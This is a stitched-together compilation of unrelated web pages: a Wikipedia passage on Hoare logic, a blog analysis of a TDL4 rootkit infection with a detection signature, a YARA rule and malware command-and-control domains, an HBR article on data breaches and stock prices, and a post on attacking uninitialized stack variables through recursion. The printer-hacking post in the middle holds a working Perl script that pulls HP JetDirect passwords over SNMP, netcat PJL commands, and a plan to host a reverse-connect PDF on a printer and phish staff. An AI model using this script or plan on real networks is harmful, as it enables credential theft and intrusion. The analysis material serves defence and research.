    <img src='img/Temp2_3913.png' alt=' \frac { <\;\textrm{is\ well-founded,}\;[P \wedge B \wedge t = z ]\ S\ [P \wedge t < z ]} { [P]\ \textbf{while}\ B\ \textbf{do}\ S\ \textbf{done}\ [\neg B \wedge P] } \!' />
In this rule, in addition to maintaining the loop invariant, one also proves
termination by way of a term, called the loop variant, here _t_ , whose value
strictly decreases with respect to a well-founded relation during each
iteration. Note that, given the invariant _P_ , the condition _B_ must imply
that _t_ is not a minimal element of its range, for otherwise the premise of
this rule would be false. Because the relation "<" is well-founded, each step
of the loop is counted by decreasing members of a finite chain. Also note that
square brackets are used here instead of curly braces to denote total
correctness, i.e. termination as well as partial correctness. \(This is one of
various notations for total correctness.\)

## \[edit\] Examples

     **Example 1**  
---  
<img src='img/Temp2_3924.png' alt='\{x+1 = 43\}\!' /> | <img src='img/Temp2_3916.png' alt='\ y:=x + 1\ \!' /> | <img src='img/Temp2_3923.png' alt='\{ y = 43 \}\!' /> | \(Assignment Axiom\)  
|  |  | <img src='img/Temp2_3919.png' alt='( x + 1 = 43 \Leftrightarrow x = 42 )' />  
<img src='img/Temp2_3915.png' alt='\{x=42\}\!' /> | <img src='img/Temp2_3916.png' alt='\ y:=x + 1\ \!' /> | <img src='img/Temp2_3905.png' alt='\{y=43 \land x=42\}\!' /> | \(Consequence Rule\)  
**Example 2**  
<img src='img/Temp2_3914.png' alt='\{x + 1 \leq N \}\!' /> | <img src='img/Temp2_3927.png' alt='\ x := x + 1\ \!' /> | <img src='img/Temp2_3925.png' alt='\{x \leq N\}\ \!' /> | \(Assignment Axiom\)  
|  |  | \(<img src='img/Temp2_3920.png' alt=' x < N \implies x + 1 \leq N' /> for _x_ , _N_ with integer types\)  
<img src='img/Temp2_3907.png' alt='\{x < N \}\!' /> | <img src='img/Temp2_3927.png' alt='\ x := x + 1\ \!' /> | <img src='img/Temp2_3925.png' alt='\{x \leq N\}\ \!' /> | \(Consequence Rule\)  
## \[edit\] See also

  * Communicating sequential processes
  * Design by contract
  * Denotational semantics
  * Dynamic logic
  * Edsger W. Dijkstra
  * Loop invariant
  * Predicate transformer semantics
  * Program verification
  * Refinement calculus
  * Separation logic
  * Sequent calculus
  * Static code analysis

## \[edit\] References

  1. **^** C. A. R. Hoare. "An axiomatic basis for computer programming". _Communications of the ACM_ , 12\(10\):576–580,583 October 1969. doi:10.1145/363235.363259
  2. **^** R. W. Floyd. "Assigning meanings to programs." Proceedings of the American Mathematical Society Symposia on Applied Mathematics. Vol. 19, pp. 19–31. 1967.

## \[edit\] Further reading

  * Robert D. Tennent. _Specifying Software_ \(a textbook that includes an introduction to Hoare logic, written in 2002\) ISBN 0-521-00401-2

## \[edit\] External links

  * Project Bali has defined Hoare logic-style rules for a subset of the Java programming language, for use with the Isabelle theorem prover
  * KeY-Hoare is a semi-automatic verification system built on top of the KeY theorem prover. It features a Hoare calculus for a simple while language.
  * j-Algo-modul Hoare calculus — A visualisation of the Hoare calculus in the algorithm visualisation program j-Algo

Retrieved from "http://en.wikipedia.org/wiki/Hoare\_logic"

# Perpetual Horizon: Peeling Apart TDL4 and Other Seeds of Evil Part I

**Created:**| _12/20/2010 10:12:06 PM_  
---|---  
**Updated:**| _12/20/2010 10:12:23 PM_  
**Author:**| __  
**Tags:**| _iDS/iPS Malware-analysis signatures_  
  

## Thursday, December 16, 2010

### Peeling Apart TDL4 and Other Seeds of Evil Part I

  
This is the first in an intended series discussing analysis on a compromised
XP SP3 machine. Multiple malware components were found on the system and I
shall try to describe the analysis processes I used in an attempt to provide
something of interest.

  
**Emerging Threats signature-based alert**  
  
The first indicator of any issue was the firing of an Emerging Threats
signature ET 2010823 on an EXtrusion Detection System \(figuratively named
because the main focus is detection of compromised internal systems via
outbound traffic patterns\).  
  

[code]

    #matt jonkman, re 3fac60b31a7cda96e217c86405fcc48c
    #
    alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET TROJAN Torpig Related Fake User-Agent (Apache (compatible...))"; flow:established,to_server; content:"User-Agent|3a| Apache (compatible|3b| MSIE 6.0|3b| Windows NT 5.1|3b| SV1)"; http_header; classtype:trojan-activity; reference:url,doc.emergingthreats.net/2010823; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_Torpig; sid:2010823; rev:4;)
    
[/code]

[code]

     
    
[/code]

[code]

    
[/code]

Having previously torn apart aspects of Mebroot and Torpig, I figured this
would be a fast process, however no Torpig infection could be found, based on
the typical indicators as discussed elsewhere and in previous blog entries.
Perhaps the signature referred to a "Torpig Related" scenario - meaning not
Torpig itself, but a different type of malware that perhaps came down from a
Neosploit kit that has often been known to drop Mebroot & Torpig, or another
malware that had some other Torpig association.  
  
I first made a dd diskimage and took a memdump for further analysis with the
Volatility Framework. For unknown reasons, my memdump tool of choice Moonsols
win32dd did \*not\* work on this box - but Mandiants memorydd.bat worked
properly. The error messages seen below are not a concern, they are just
indicators that not all areas of memory can be safely read. AFAIK this is not
a tactic to hide malware from a memory dumping function, but surely anti-
dumping techniques are being researched and implemented as these techniques
become more common.  
  
  

<img src='img/Temp2_6207.jpg' />

  
**Team CYMRU's WinMHR in action**  
  
Next, I took this engagement as an opportunity to play with the relatively new
WinMHR \(Malware Hash Repository\) tool released by the helpful "behind the
scenes" Team CYMRU \(https://www.team-cymru.org/Services/MHR/WinMHR/\)that
compares MD5 hashes from files/directories or processes with an extensive hash
collection accessible on a server maintained by Team CYRMR. As expected,
WinMHR found multiple indicators of malware on the system that were not found
by the currently installed anti-malware apps on the box \(McAfee Enterprise,
Spybot Search & Destroy, Malware Bytes Anti-Malware\) when scanning from
within the infected system itself and from a mounted drive.  
  

<img src='img/Temp2_6211.jpg' width='400' height='258' />

  
Obviously, binaries/PDF's/etc that are dynamically obfuscated are going to be
harder to find by static hash matching, but there were enough static
components found to provide insight. A curious element from scanning the
infected system itself was that WinMHR detected malware inside of
Windows\System32\userinit.exe yet the disk copy perfectly hash-matched a clean
copy. However, as I would learn later the in-memory version of userinit.exe
was indeed infected. A little digging and I soon determined that TDL3 was
known to infect userinit.exe in a similar manner, which set my sights on
detecting TDL as the next meaningful step. \(Further results from the use of
WinMHR will be discussed in later parts of this series, as long as I stay
motivated and don't get too lazy\)  
  
**Finding TDL**  
  
TDL is a rootkit like malware distribution system that takes control of the
system at boot time with a default behavior involving click fraud and has been
well documented by various researchers from F-Secure, ESET, Kaspersky, the
KernelMode.info forum and others. I will not duplicate the results of their
research here.  
  

[code]

    TDL was easy to find - multiple tools confirmed it's presence.
    
    mbr.exe from gmer.net:
    
    detected hooks:
    \Driver\atapi DriverStartIo -> 0x82133999
    user != kernel MBR !!!
    sectors 80293246 (+255): user != kernel
    Warning: possible TDL4 rootkit infection !
    TDL4 rootkit infection detected ! Use: "mbr.exe -f" to fix.  
    
    
    
[/code]

  
I do not know for certain, but I had read that replacing atapi.sys was one
quick method to neuter a TDL infection. TDL is known to create it's own
encrypted filesystem at the end of the disk \(similar to where Mebroot stashes
it's malicious driver\) and according to some forum message I read, the
atapi.sys replacement method leaves the TDL filesystem intact but it's no
longer operational in that it's various DLL's are no longer injected into the
running system at boot time.  
  

[code]

    GMER also finds it easily:
    
    ---- Disk sectors - GMER 1.0.15 ----
    
    Disk            \Device\Harddisk0\DR0  sector 00 (MBR): rootkit-like behavior; TDL4  <-- ROOTKIT !!!
    Disk            \Device\Harddisk0\DR0  sector 10: rootkit-like behavior; 
    Disk            \Device\Harddisk0\DR0  sector 63: rootkit-like behavior; 
    Disk            \Device\Harddisk0\DR0  sectors 80292992 (+255): rootkit-like behavior; 
    
    
    
[/code]

I did not yet want to "clean" TDL4 from the system but after a variety of
reading, I learned that apparently most "cleaning" tools could not handle TDL4
yet. Some "cleaning" attempts were resulting in crashes boxen and fsked up
file systems. Supposedly, HitMan Pro could do it, but I did not try it.
Kaspersky offers a TDSSKiller tool, which readily detected TDL4 but was
reportedly only able to "clean" a TDL3 infection on Nov 10. Since then,
Kaspersky has updated TDSSKiller and it does indeed work with the TDL4
infection that I dealt with.  
  
TDSSKiller log shows:  
  

[code]

    2010/11/10 15:33:03.0640 \HardDisk0 - detected Rootkit.Win32.TDSS.tdl4 (0) 
    
    
[/code]

  

<img src='img/Temp2_6209.jpg' width='400' height='305' />

  
**Obtaining access to the TDL4 file system and configuration**  
****  

A tweet and article \(TDL3: The Rootkit of All Evil?\) by Aleksandr Matrosov
from ESET informed me that he had written a dumper tool that pulled the
typically known files from the TDL3 file system, allowing further inspection.
Unfortunately, this tool did not work on the TDL4 infection.

I offer my gratitude to Michael Hale Ligh, one of the authors of the excellent
Malware Analysts Cookbook, who wrote a YARA plugin to work with the Volatility
Framework that would allow one to dump the special path to the TDL File System
from a memdump. The path is designated from the globalroot object. I had to
load up the newest development version of Volatility \(1.4\) in order to
utilize the YARA rule, which was a little confusing as the structure has
changed from 1.3, but this particular technique worked like a charm to reveal
the path. I learned there are many other ways of finding that path data, but
Michael pointed the way. His work is shared with permission.

Michael's YARA rule is as follows:  

rule tdl3  
\{  
meta:  
null\_string = 1  
  
strings:  
$ = "\\\\\\\?\\\globalroot\\\"  
$ = ".ini"  
  
condition:  
all of them  
\}  
  

  
And a portion of an example output:

  
$ python volatility.py malfind -Y tdl3.rules -f memory.dmp -D outdir  
  
svchost.exe 1048 0x01F50000 0x01F65FFF VadS  
Dumped to: outdir/svchost.exe.164bc28.01f50000-01f65fff.dmp  
  
YARA rule: tdl3  
Hit: \\\?\globalroot\device\00000f9f\4038b10d  
Hit: \\\?\globalroot\device\00000f9f\4038b10d\cfg.ini

  
The last two elements of the TDL filesystem directory structure \(before the
filename\) change at each reboot. Once the path is known, the files can be
dumped. I used a tool Michael wrote called tdlcopy.exe that he was kind enough
to share.

<img src='img/Temp2_6206.jpg' width='640' height='252' />

  
TDL4 is well known to be an emergent 64-bit infecting malware \(infects 32 bit
too, of course\). The 32 and 64 bit elements can be easily seen in the files
dumped above. I was interested in the configuration file, having seen examples
from research papers mentioned earlier, because sitenames and other data could
open the door for further queries for detection and containment as well as
research.

The format of the config file is explained elsewhere, but TDL4 seems to have
slightly modified the wording from a TDL3 config. In this particular
infection, we can see that the affiliate ID is 30002 \(someone out there is
using this affiliate, perhaps through the Dogma Millions group\) and that
cmd.dll is going to be injected, as this was a 32 bit box. The various domain
names for the different aspects of this particular infection are listed below.
Many of these are already well-known. Warning: links are probably still live -
don't mess around and please treat very carefully \(I've added some spaces to
avoid accidental use\). While many probably already have this information and
more, these domains are included for response and detection purposes.

  

[code]

    cfg.ini:
    
    [main]
    version=0.02
    aid=30002
    sid=0
    builddate=4096
    rnd=1035525444
    knt=1288036792
    [inject]
    *=cmd.dll
    [cmd]
    srv=https://ruk keianno.com/;https://86b  6b96b.com/;https://kango jjm1.com/;https://lkatu rl71.com/
    wsrv=http://skolew cho.com/;http://jikdo oyt0.com/;http://swltc ho81.com/;http://switcho 81.com/;http://rammyju ke.com/
    psrv=http://crj71ki8 13ck.com/
    version=0.15
    bsh=51dd2a5137201c031dcc783efb440e975d6807a3
    delay=7200
    csrv=http://lkckclckl i1i.com/
    [tasks]
    
    
[/code]

  
**Quick enumeration with Process Hacker**  

  
Poking around with Process Hacker into various aspects of the running infected
system also revealed the TDL4 path a little easier than using the YARA rule
and a memdump, although one could also just grep the globalroot path from a
memdump file without even having to use Volatility. Since TDL invades the
system, it leaves traces everywhere. In this particular example, I took note
of a RWX memory section inside the ISUSPM.exe process:

<img src='img/Temp2_6210.jpg' />

  
Analyzing this Private section further, we find the TDL cmd.dll loaded:

<img src='img/Temp2_6208.jpg' />

  
The system was rebooted several times during analysis, which accounts for the
changing TDL file system paths.

The next series of blog entries shall cover TDL4 network traffic observed, a
SOCKS proxy service installed on the host and it's control traffic, an FTP
password stealer application & Symantec antivirus disabler, and other
interesting artifacts from the infection clusterfsck.

[code]

    
    
    
[/code]

[code]

    
    
    
[/code]

[code]

    
    
    
[/code]

Posted by cw at 11:43 PM <img src='img/Temp2_6212.jpg' width='18' height='18'
/>

Labels: CYMRU, malware, malware analysis, TDL4, TDSS, Volatility, WinMHR, YARA

  *[11:43 PM]: 2010-12-16T23:43:00-08:00

# Why Data Breaches Don’t Hurt Stock Prices - HBR

**Created:**| _4/10/2015 6:15:21 PM_  
---|---  
**Updated:**| _4/10/2015 6:15:21 PM_  
**Author:**| __  
**Tags:**| _business cult\(ure\)_  
  

# Why Data Breaches Don’t Hurt Stock Prices

<img
src='https://hbr.org/resources/images/article_assets/2015/03/MAR15_31_stevenmoore_stockprices.jpg'
alt='MAR15_31_stevenmoore_stockprices' />

Steven Moore

Recent high-profile data breaches like those at Target and Home Depot have
exposed the private sensitive information of millions of employees and
consumers. While consumers are rightfully worried that their personal
information may be compromised, shareholders and companies’ management have a
wider set of concerns, including loss of intellectual property, operational
disruption, decreased customer trust, tarnished brand, and loss of investor
commitment. Companies are spending millions in litigation costs, efforts to
restore brand loyalty, and refunds.

However, even the most significant recent breaches had very little impact on
the company’s stock price. Industry analysts have inferred that shareholders
are numb to news of data breaches. A widely accepted notion goes that there
are only two types of companies: those that have been breached and those that
don’t know they have. It is true that that breaches are expected and have
become a regular cost of doing business, but there are deeper reasons for the
market’s failure to respond to these incidents.

Today, shareholders have neither enough information about security incidents
nor sufficient tools to measure their impact. As every company is becoming a
digital company, every leader \(who is also becoming a digital leader\) is
realizing that breaches may negatively affect profitability and the company’s
long-term ability to do business. The long and mid-term effects of lost
intellectual property, disclosure of sensitive data, and loss of customer
confidence may result in loss of market share, but these effects are difficult
to quantify. Therefore, shareholders only react to breach news when it has
direct impact on business operations, such as litigation charges \(for
example, in the case of Target\) or results in immediate changes to a
company’s expected profitability.

Delays in disclosing information security incidents often contribute to
shareholders’ hesitation and uncertainty with regard to how to factor in the
effects of the breaches. For instance, current SEC regulation leaves leeway
for public companies as to when to disclose cyber incidents: “To the extent a
cyber incident is discovered after the balance sheet date but before the
issuance of financial statements, registrants should consider whether
disclosure of a recognized or nonrecognized subsequent event is necessary”.

Overall, stock prices during and following the high profile security data
breaches for the in the past several years have decreased slightly or quickly
recovered following the breach. Let’s look in some more detail at a few cases.

**Home Depot** ’s hack, compromised 65 million customer credit and debit card
accounts. Breach-related costs are estimated to be around $62 million. The
company’s stock price decreased slightly one week after the announcement. In
the third quarter of 2014, Home Depot showed a 21% increase in earnings per
share .

During the 2013 holiday season shopping period, **Target** was the object of
then the biggest cyber attack on a retailer. Credit and debit card data of 40
million customers and personal information of about 70 million were said to be
affected by the breach. The stock experienced a 10% drop in price in the
aftermath of the security breach, but by the end February, Target had
experienced the highest percentage stock price regain in five years.

Three years after the 2011 hack that compromised payment data of millions of
Sony gaming users, **Sony** had to deal with a massive data breach targeting
its pictures industry. The personal data of producers, actors, and current and
former employees dating back to 2000 was compromised. Attackers have collected
over a Terabyte of data and records of 47,000 employees. The stock price kept
growing following the announcement, decreased slightly three weeks after the
breach. By now, it has long surpassed its one-year maximum.

**Sears** announced in October 2014 that one of its companies, Kmart, was the
target of a data security breach and that credit/debit cards and personal
information were compromised by hackers. The company did not reveal how many
cards were affected. In the midst of the announcement, stock prices increased.
The Sears stock price steadily rose during the month after the announcement.
The company later announced loss in sales, but this has been tied more to a
pattern of low profits in the last few years since the company’s merging with
Kmart, than to the October data breach.

In the beginning of October, 2014, the largest U.S. bank in assets, **JP
Morgan Chase** , announced that in August, hackers had accessed its security
system and that approximately seven million small businesses and 76 million
households had been affected by a data breach. The company unveiled that data
that was compromised included contact information such as names, addresses,
telephone numbers, and email addresses, but account numbers, passwords, dates
of birth, and social security numbers were protected. While no unlawful
transactions were made in the aftermath of the data breach, JP Morgan Chase
warned its customers of potential phishing attacks. Stock prices for JP Morgan
Chase were stable following the announcement and then rose by the beginning of
November.

While companies’ stock prices were largely not affected, security breaches had
other consequences. Target, for example, pledged to spend $100 million
upgrading its security. The company lost a total of about $236 million in
breach-related costs, $90 million of which were offset by insurance. A judge
recently ruled that Target will have to defend itself against accusations of
negligence by banks, credit unions and consumers when it came to preventing
the 2013 security breach. The stock price declined 0.3% after the judge stated
Target would have to face civil suits. Several banks are suing the company
claiming that its negligence cost them tens of millions. At Sony the aftermath
of the revelation of sensitive employee information included a management
shake-up and box office losses. And while customers and shareholders might
forgive the first wave of data breaches and might be too apathetic to change
brands or loyalty to their stores, they might be less tolerant of future
attacks.

This mismatch between the stock price and the medium and long-term impact on
companies’ profitability should be addressed through better data. Shareholders
still don’t have good metrics, tools, and approaches to measure the impact of
cyber attacks on businesses and translate that into a dollar value. In most
cases, at the time a security breach is disclosed, it is almost impossible for
shareholders to assess its full implications. Shareholders should look beyond
short-term effects and examine the impact on other factors, such as overall
security plans, profitability, cash flow, cost of capital, legal fees
associated with the breach, and potential changes in management. .

Now that major security breaches have become an inevitability in doing
business, companies should put strong data security systems in place, just as
they protect against other types of business and operational risks. However,
companies whose assets are primarily non-digital have less incentive to invest
in prevention if they know their stock price will survive — and that takes a
toll on the overall economy and consumer privacy.

# Fun with printers \(part 2\) | Attack Vector
**Created:**| _1/13/2011 3:36:45 PM_  
---|---  
**Updated:**| _1/13/2011 3:37:08 PM_  
**Author:**| __  
**Tags:**| _perl pentest Hacks network-security printer_  
  

## Fun with printers \(part 2\)

Posted: 1st May 2010 by **Matt** in code, hacks, security  
Tags: bounce, hack, hijetter, idle, jetpwn, pjl, printer, scan, zombie

5

Ok, I’ll admit, the last post didn’t have a whole lot to do with printers, but
it probably got you interested enough to read part 2.

First, lets find our network printers..

>
[code]

>     ./jetpwn.pl eth0
>     Using range 10.0.0.1-255
>  
>     Password for JetDirect running on 10.0.0.22
>     Hex password: 49 4e 54 45 52 57 45 42 5a
>     ASCII password: INTERWEBZ
>  
>     Password for JetDirect running on 10.0.0.23
>     Hex password: 50 57 4e 5a
>     ASCII password: PWNZ
>  
>  
[/code]

Not only did that find the network printers, it also grabbed and converted the
password for us. <img src='img/Temp2_3323.gif' alt=';-)' />

It’s a little script that I wrote to make the process easier because,
essentially, I’m lazy. Here’s the code:  

?View Code PERL

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    
    
[/code]

|

[code]

    $eth = $ARGV[0];
     
    if($eth eq "") {
      print "Usage: jetpwn.pl \n";
      exit(0);
    }
     
    sub convert {
      my $string = @_;
      ($string = shift) =~ s/([a-fA-F0-9]{2})/chr(hex $1)/eg;
      return $string;
    }
     
    @ifconf = `ifconfig $eth`;
     
    foreach $line (@ifconf) {
      if($line =~ /inet\s+addr\:(\d+.\d+.\d+).*/) {
        $range = $1;
        print "Using range $range.1-255\n";
      }
    }
     
    # I rely on nmap to do my scanning, even within scripts, because IO::Socket's timeout of '1'
    # is too slow, and writing a script to do a half-open scan using perl's raw socket and pcap
    # libraries is somewhat overly complicated and not nearly as accurate as nmap.  Plus,
    # it's reinventing the wheel.  So, nmap it is!
     
    open(NMAP, "nmap -sS -p9100 $range.* --open|") || die "$!";
    while() {
      if(/^.*?\((\d+.\d+.\d+.\d+)\)$/) {
        push(@ips, $1);
      }
    }
     
    foreach $ip (@ips) {
      # I wont lie.. using snmpget instead of Perl's snmp lib is just pure laziness.  Heh heh
      open(SNMP, "snmpget -v 1 -c public $ip .1.3.6.1.4.1.11.2.3.9.1.1.13.0|") || die "$!";
      while() {
        print "Password for JetDirect running on $ip\n";
        if(/^.*?Hex-STRING:\s+(.*)/) {
          $hexpass = $1;
          print "Hex password: $hexpass\n";
          ($hexpass) =~ s/\s+//eg;
          $pass = &amp;convert($hexpass);
          $pass =~ s/\=108;//eg;
     
          print "ASCII password: $pass\n\n";
        }
      }
    }
    
[/code]  
---|---  
It utilizes a “vulnerability” in the MIB’s that the HP printers use.. so,
using that OID \(.1.3.6.1.4.1.11.2.3.9.1.1.13.0\), the printer will display
the password in hex.. so a simple conversion will give it to you in ASCII. The
passwords are case insensitive, even though they’ll be displayed uppercase.

Hint.. add the passwords found to your wordlist. Often the passwords are not
unique to the printer.

So, now you have full control over the printer.. whether it has a password or
not. Now what?

>
[code]

>     snmpwalk -c public -v1 10.0.0.22
>  
[/code]

I’m not going to paste the output, because there’s a ton.. but go through the
results and you’ll find interesting information about the network, and who
knows what else.

Also, open up a web browser and go to “http://ip” and you can play with all
sorts of fun stuff there, depending on the printer version. One suggestion..
via the web interface, you can enable and disable services.

Beyond that, there’s much fun to be had using PJL \(Printer Job Language\).
One of the most widely known PJL commands is:

>
[code]

>     echo "@PJL RDYMSG DISPLAY="Interwebz!!"|nc  9100
>  
[/code]

That will change the default “ready message” that’s displayed on the LCD
screen of an HP printer. It can be a fun prank if you’re creative enough..
especially if you script it to change all the printers on the network <img
src='img/Temp2_3323.gif' alt=';-)' />

Fun, but doesn’t accomplish much..

I highly recommend reading this document, as it describes PJL really well.

http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13208/bpl13208.pdf

We’re actually going to use a program called “HiJetter” to accomplish this.
Essentially, HiJetter is a front-end to commands like this:

>
[code]

>     @PJL DEFAULT HOLD=STORE
>  
[/code]

<img src='img/Temp2_3323.gif' alt=';-)' />

Anyway, Download the windows binary from here http://www.phenoelit-
us.org/fr/tools.html

Yes, download the Windows binary even if you’re running linux. Unzip it and
run it with ‘wine Hijetter.exe’. The \*nix version does not compile.. at all.

NOTE: HiJetter is not perfect. It crashes quite often, so patience is a
virtue. I might rewrite it.. we’ll see.

Once Hijetter is running, you’ll have total control over the printer.. even
access to the stored print jobs.

So, lets say you turn on job holding and you tell it to store, whether that be
via Telnet or HiJetter. The documents are all stored in

>
[code]

>     0:\savedevice\savedjobs\heldjobs
>  
[/code]

You will be able to download images of anything sent to the printer. Checks,
invoices, all sorts of confidential information.

Also, you can upload files to the printer do be hosted on its built in web
server. This feature is useful for a number of reasons.. but my primary use
is..

Lets say that the LAN is heavily firewalled. Lets also say that on these
gateways, they’re running scanning proxies to check for viruses and malware
going in and out of the network via web/email/etc. Lets also say that they’re
running Snort to check for more serious exploits. Lets say, though, that they
have a wireless network set up for guests to use when they come to the office.

I take a little trip and find the wireless network. Whether it’s WEP, or WPA,
I’m getting in. Once in, I don’t want to stick around for very long, so I look
for printers \(ok, maybe they’re not my first target, but if nothing else pans
out in short order, I’m hitting them..\). I craft a PDF that opens a reverse
connect backdoor, which points to my IP back at home \(this is a pen test, so
I don’t care if they know my IP\). I upload this to their printer\(s\) and
head home.

Once home, I craft an email to the receptionist. \(hint: contact@ usually goes
to the receptionist and their job involves opening emails from random
people\). This email contains a link to our special PDF, which is hosted on
one of their printers, which will prevent any code actually being scanned by
their firewalls/IDS/etc. When the end user is infected, it reverse connects to
me via port 80, or 443, so it looks like innocent web traffic.

I hope this post gives some idea as to the dangers of network printers.
They’re a very weak network device that is easily, easily compromised in a
number of ways. I would suggest going through that document about PJL commands
and check out some of the fun stuff that you can do with it.

_\---  
  
If you enjoyed this post, make sure you subscribe to my RSS feed\!  
  
Also, if you think others would find this article useful, why not share it
using the Share/Save button below? Thanks\!_

<img src='img/Temp2_3322.gif' width='171' height='16' alt='Share' />

<img src='img/Temp2_3321.gif' width='0' height='0' />

Related posts:

  1. Fun with printers \(part 1\)

# Attacking Uninitialized Variables with Recursion – Signal 11

**Created:**| _11/23/2017 9:38:28 AM_  
---|---  
**Updated:**| _11/23/2017 9:38:28 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Overview

_Recursion can be defined as a computer programming technique involving the
use of a procedure, subroutine, function, or algorithm that calls itself one
or more times until a specified condition is met. There are debates about
recursion, how it should be used, and whether it should be used at all.
Recursion is a useful tool that should be in every programmers toolbox.
However, when it’s used incorrectly it can over complicate flow logic and
introduce vulnerabilities in code. This has lead to some coding standards
explicitly banning its use, along with banning other complex flow constructs
such as goto. In a nutshell, recursion can get confusing, and confusing code
can lead to programming mistakes. In this post I explain recursion and how it
can be leveraged for vulnerability research. I also share a plugin I_ _wrote
that leverages Binary Ninja’s medium level intermediate language \(MLIL\) to
develop a cross-architecture solution for locating recursive logic in compiled
code._

# Recursion Summary

Recursion can be broken down into two categories, Direct Recursion and
Indirect Recursion. Direct recursion occurs when a routine invokes itself.
There are many practical applications for direct recursion such as
mathematical algorithms, list sorts, and binary search trees. An example of
direct recursion is depicted below. This example returns the factorial of the
supplied integer \(the product of the integer and all descending integers
below it\).

123456789 | uint32\_t factorial\(uint32\_t number\)\{ if \(number <= 1\) \{ return 1; \} return number \* factorial\(number -1\);\}  
---|---  
Indirect recursion occurs when a routine invokes another routine that
eventually results in the invocation of the original routine. The most
practical use I’ve found for indirect recursion is a directory traversal
program containing a routine that navigates the tree, and another routine that
processes the files. If the file is a directory, then the original routine is
invoked. Another example, that can be used to check if an integer is odd or
even, is depicted below.

123456789 | int is\_odd\(int number\)\{ return number == 0 ? 0 : is\_even\(abs\(number\) - 1\);\} int is\_even\(int number\)\{ return number == 0 ? 1 : is\_odd\(abs\(number\) - 1\);\}  
---|---  
# Recursion in Vulnerability Research

## Stack Overflow Denial-of-Service

Recursion tends to cause problems when the amount of recursive calls are not
properly bounded. When a function call is carried out by an x86 processor, the
return address and the function arguments are pushed onto the call stack. With
each recursive call, the stack continues to grow exponentially. If recursion
is too deep, a stack overflow will occur once the allocated stack size is
exceeded. Recursion-induced stack overflows are rarely exploitable and often
only result in denial-of-service. This is because recusion-based stack
overflows exceed the top of the stack region as the call stack grows during
recursion. Above the stack \(in most cases\) there is a gaurd page present
that prevents the stack from clashing with another memory region. However,
gaurd pages aren’t used in all environments. The Linux kernel for example does
not employ this protection. There are also techniques for jumping the gaurd
page and overflowing into the heap. These techniques require that the
recursive function declares sufficiently large stack variables and that heap
memory is near the other side of the guard page. More on jumping gaurd pages
can be found here.

## Attacking Uninitialized Stack Variables with Recursion

Another role recursion could play in exploiting a vulnerable program is
attacking uninitialized stack variables. As mentioned previously, x86 calling
convention dictates that function arguments are pushed to the stack by the
caller. If an attacker can control the values supplied as function arguments
during recursion they could spray the stack with values that could be used to
initialize a “uninitialized” stack-based variable. Compilers assume that when
you declare a variable, that you are going to initialize it \(before using
it\). Compilers account for this by assigning a virtual location to store the
value. In the case of a uninitialized stack variable, the compiler will assign
a location on the stack. Since stack frames across function invocations can
overlap \(and be re-used\), an uninitialized stack variable will often contain
junk data left behind by a previously invoked routine, until which point it is
initialized. To illustrate how recursion can play a role in abusing
uninitialized variables, I wrote a very practical program that should set me
up nicely for the next Turing award.

123456789101112131415161718192021222324252627282930313233 | \#include <stdio.h>\#include <stdlib.h>\#include <stdint.h> void take\_int\(int j\)\{ if \(j == 1337\) printf\("How could this be? j was never initialized\!\n"\);\} void recursive\_func\(int n\)\{ static int i = 0; i++; if \(i == 10\) return; else recursive\_func\(n\);\} void func\(\)\{ int j; take\_int\(j\);\} int main\(int argc, char \*\*argv\)\{ int n = atoi\(argv\[1\]\); recursive\_func\(n\); func\(\); return 0;\}  
---|---  
The program above takes an integer as a command-line argument and calls
_recursive\_function,_ which recurses 10 times. Then the program calls _func,_
which calls _take\_int_ while passing _j_ as an argument. The vulnerability in
this code exists in _func_. The variable _j_ is declared, but never
initialized before being passed to _take\_int_. Let’s compile and run this
program while supplying 1337 as a command-line argument.

123 | $ gcc recursion\_demo.c -m32 -o recursion\_demo$ ./recursion\_demo 1337How could this be? j was never initialized\!  
---|---  
The conditional in _take\_int_\(which checks if _j_ equals 1337 _\)_ clearly
evaluated as true, despite that _j_ was never initialized, but why? After
_recursive\_func_ returns in main, the stack resembles the illustration
depicted below. During repeated recursive calls, the stack pointer is adjusted
into lower addressable memory and _n_ \(0x00000539\) is pushed to the stack
along with the return address of the caller. With each time that the function
recurses, we have better odds that we can get the program to use our value
when accessing the uninitialized variable in _take\_int_. In addition to the
return address, and the function argument, there’s also additional data on the
stack caused by logic within _recursive\_func._ This is the challenge of
attacking uninitialized variables in practical applications. It is difficult
to get your data to overlap with the offset used by the uninitialized
variable, and it is difficult to achieve this without some other instruction
clobbering it before your variable is referenced.

<img src='img/stack-after-recursion-e1510470166953-290x300.png' width='290'
height='300' />

Stack Layout After Recursion

By the time  _take\_int_ is called, the stack has been polluted with
0x00000539 entries. In the figure below, at _00000644_ , the operand \(stack
offset\) that is supposed to contain the value of _j_ , is copied onto the
stack as the first argument for _take\_int_. However,_\[ebp-0xc\]_ does not
contain the value of _j_ , because _j_ was never initialized. Instead it
contains 0x00000539, which was left behind from a call setup for
_recursive\_func_.

<img src='img/j-from-stack-1.png' width='622' height='53' />

_take\_int call setup_

Depicted in the next screenshot is the disassembly for a portion of
_take\_int_. The most important instruction is at _000005d1_. This instruction
is where the pointer to _arg1_ \(j\) is dereferenced and compared with the
constant value 0x00000539. As already established, _j_ is never set, so the
program uses what was left behind on the stack at that location, which happens
to be 0x00000539, left behind from one of the calls to  _recursive\_func_. The
two compared values are equal. Therefore, the program does not take the branch
at _000005d8_ and proceeds to print the anti-climatic output.

<img src='img/j-from-stack.png' width='1072' height='351' />

_take\_int Dereference of Uninitialized Stack Variable j_

The example program will behave different depending on your version of gcc and
how it compiles the source. I compiled the program with gcc version _6.3.0
20170516_. It is likely that the example won’t work if you use a different
version of gcc. Instead of the uninitialized stack variable \(_j_\)
overlapping with addressable memory containing your sprayed argument for
_recursive\_func_\(_n_\), it may instead overlap with a return address or some
other data on the stack. It is all dependent on how the compiler lays out the
instructions. If you insist on running the example, and your compiler isn’t
cooperating, leave a comment or shoot me an email and I’ll post my binary.

## Binary Ninja Recursion Plugin

As part of my endeavor to study recursion, I developed a plugin that uses
Binary Ninja’s API and medium level intermediate language to locate recursive
